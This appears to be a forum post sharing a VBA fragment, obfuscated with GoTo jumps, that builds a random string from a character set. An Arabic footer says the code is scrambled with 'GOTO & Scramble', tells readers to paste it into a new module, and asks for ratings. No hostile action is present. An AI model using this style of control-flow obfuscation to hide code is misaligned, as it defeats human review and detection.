Dim sChars As String, i As Integer
GoTo srahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokq
srahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokq:
GoTo nmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbosssunkne
nmhbnagmelfhsnmjrqdnbdchiobcgkiufnaifbosssunkne:
GoTo bmcpohclhdjngfaampvktkuglgfckjslq
bmcpohclhdjngfaampvktkuglgfckjslq:
sChars = ktplrvooidochnfnhitonlsr("aob(cQd9eKfygohDiGj†kHlSmcnNo'p8q:r6s@tmuzv$w^xwyuz0A7B=C-D]EzFlGMH*I/JVK)L2MMNFO%P?QpRpS@TQUiV;QaX9YgZ&1W2&3<405S637_8?9T0_!X§n$+%G&V/Y(k)5=+?c#g+A~N*s'‚.n:G,>;?-;_E")
GoTo ahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokqunm
ahhqrvjbnumpbeanlllngdgtjcjlmitjaqojsokqunm:
GoTo naifbosssunknekjqstpekhbpqdpra
naifbosssunknekjqstpekhbpqdpra:
GoTo ktkuglgfckjslqsmrcdmmqesjph
ktkuglgfckjslqsmrcdmmqesjph:
GoTo svrigggicvcoeuegheoerljenjflpiics
svrigggicvcoeuegheoerljenjflpiics:
Randomize
GoTo bhvgacnihemluisvtcdkttbfdqairdasjnnnpigjvffl
bhvgacnihemluisvtcdkttbfdqairdasjnnnpigjvffl:
GoTo olvgcsklukmsajpjdpccognhjujoltsfpdaudk
olvgcsklukmsajpjdpccognhjujoltsfpdaudk:
For i = 1 To Int(Rnd * 70) + 30
GoTo ucmkbbpcehdquuuakmqgmmsuv
ucmkbbpcehdquuuakmqgmmsuv:
GoTo gnjdrsfrtdbqakkadjvhuiqfqvsethaehfkrbffjtrii
gnjdrsfrtdbqakkadjvhuiqfqvsethaehfkrbffjtrii:
GoTo dlokbvvvbrtahtsdvath
dlokbvvvbrtahtsdvath:
GoTo lkctgcueibbrrhkqgofpbgbatfenhlomrcdmmqesjphksvr
lkctgcueibbrrhkqgofpbgbatfenhlomrcdmmqesjphksvr:
Randomize
GoTo ggicvcoeuegheoerljenjflpiicsi
ggicvcoeuegheoerljenjflpiicsi:
GoTo nolvgcsklukmsajpjdpccognhjujoltsfpdaudkqeucm
nolvgcsklukmsajpjdpccognhjujoltsfpdaudkqeucm:
vnqcgbomnmoifivkelmnkulcrp = vnqcgbomnmoifivkelmnkulcrp & Mid(sChars, Int(Rnd * Len(sChars) + 1), 1)
GoTo bpcehdquuuakmqgmmsuvs
bpcehdquuuakmqgmmsuvs:
GoTo aehfkrbffjtriiadlokbvvvbrtaht
aehfkrbffjtriiadlokbvvvbrtaht:
Next i
GoTo vathulkctgcueibbrrhkqgofp
vathulkctgcueibbrrhkqgofp:
GoTo hksvrigggicvcoeuegheo
hksvrigggicvcoeuegheo:
GoTo rljenjflpiicsirbhvgacnihem
rljenjflpiicsirbhvgacnihem:
GoTo uisvtcdkttbfdqairdasjnnnpigjvfflnol
uisvtcdkttbfdqairdasjnnnpigjvfflnol:
End Function

---

الكود مشفر بخاصية GOTO & Scramble
طريقه استخدامه حطه في موديل جديد فقط

تحياتي .. لا تنسوا التقييم يا شباب